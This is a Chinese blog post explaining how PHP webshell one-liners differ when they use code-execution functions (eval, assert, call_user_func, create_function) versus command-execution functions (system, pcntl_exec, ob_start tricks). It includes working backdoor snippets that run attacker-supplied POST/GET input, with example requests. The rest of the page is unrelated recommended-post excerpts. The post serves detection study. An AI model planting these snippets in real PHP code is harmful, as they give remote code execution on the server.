php system eval,PHP后门的eval类和system类 函数到底有哪些区别

一、

一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

1、简单类

//#1-eval

eval($_POST["cmd"])

?>

//post:cmd=phpinfo();

//#2-assert

assert($_POST["cmd"])

?>

//post:cmd=phpinfo();

//#3-call_user_func

call_user_func($_POST["fun"],$_POST["para"])

?>

//post:fun=assert&para=phpinfo();

2、复杂类

//#1-create_function

$a= $_POST['func'];

$b = create_function('$a',"echo $a");

$b('');

?>

//post:func=phpinfo();

//#2-array_map------->这个不懂先记下来

$array = array(0,1,2,3,4,5);

array_map($_GET['func'],$array);

?>

//post:func=phpinfo

三、PHP的system类型函数,一句话:命令执行而不是代码执行。

//#1-system

//#2-passthru

//#3-exec

//#4-pcntl_exec

pcntl_exec("/bin/bash",array($_POST["cmd"]));

?>

//#5-shell_exec

//#6-popen()/proc_popen()

//#7-``

高深一点的:

$cmd = 'system';

ob_start($cmd)

echo "$_GET[a]";

ob_end_flush();

?>//?a=whoami

Java常用类之【Math类、Random类、System类、Runtime类】

一.Math类 Math类 [绝对值]Math.abs();//返回对应类型的绝对值 [最大值和最小值]Math.max(int a, int b) ,Math.min(int a,int b);(其 ...

14-02 Java Math类,Random类,System类,BigDecimal类

Math类 Math的方法 package cn.itcast_01; /* * Math:用于数学运算的类. * 成员变量: * public static final double PI * pu ...

Object类、日期时间类、system类及StringBuilder字符串容器

一.Object类常用API 1.1 概述 java.lang.Object类是Java语言中的根类,即所有类的父类.Object类中描述的所有方法子类都可以使用.在对象实例化的时候,最终找的父类就是 ...

01 语言基础+高级:1-5 常用API第二部分_day01.【Object类、常用API: Date类、System类、StringBuilder类】

day01[Object类.常用API] 主要内容 Object类 Date类 DateFormat类 Calendar类 System类 StringBuilder类 包装类 java.lang.O ...

java_Object类、日期时间类、System类、包装类

Object类 java.lang.Object 类是所有类的父类.它描述的所有方法子类都可以使用.在对象实例化的时候,最终找的父类就是Object. 如果一个类没有特别指定父类, 那么默认则继承自O ...

Java API —— System类

1.System类概述         System 类包含一些有用的类字段和方法.它不能被实例化.  2.成员方法         public static void gc():运行垃圾回收器   ...

JAVA_SE基础——67.System类

System类对大家都不陌生吧! 以前经常需要打印结果时使用的都是"System.out.println()"语句,这句代码中就使用了System类.System类定义了一些与系统 ...

随机推荐

poj 1004 Financial Management

求平均数,记得之前在杭电oj上做过一个求平均数的题目,结果因为题目是英文的,我就懵逼了 #include int main() { ; double num; int ...

Android简单登录系统

很长时间没有写博客了,最近一直在写android for gis方面的项目.不过这篇博客就不写gis方面的了,今天刚刚做的一个简单的android登录系统.数据库是android自带的sqlite,s ...

[Scikit-learn] 2.1 Clustering - Variational Bayesian Gaussian Mixture

最重要的一点是:Bayesian GMM为什么拟合的更好? PRML 这段文字做了解释: Ref: http://freemind.pluskid.org/machine-learning/decid ...

php表单提交时获取不到post数据的解决方法

找到了一位博主的方法完美解决,链接如下: http://blog.csdn.net/whd526/article/details/53263181

Ubuntu命令行连接WPA/WPA2无线网线

一,连接无加密无线网络zhang:sudo ip link set wlan0 up sudo iw dev wlan0 connect zhangsudo dhclient wlan0 二,连接WP ...

FG面经Prepare: BST to Double LinkedList

BST to double linkedlist in inorder traversal sequenceFollow Up: 如果这个BST自带prev, next, 给一个value,插进去这个 ...

Linux Namespace : 简介

在初步的了解 docker 后,笔者期望通过理解 docker 背后的技术原理来深入的学习和使用 docker,接下来的几篇文章简单的介绍下 linux namespace 的概念以及基本用法. na ...

hadoop本地运行模式调试

一:简介 最近学习hadoop本地运行模式,在运行期间遇到一些问题,记录下来备用:以运行hadoop下wordcount为例子. hadoop程序是在集群运行还是在本地运行取决于下面两个参数的设置,第 ...

(资源)Git优秀学习资源

在线教程 Try Git: Git初学者绝不能错过的Git上手资源. 廖雪峰Git教程: 比较系统的中文在线教程 易百Git教程 : 另一个比较全的中文在线教程 Git Immersion : A V ...

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值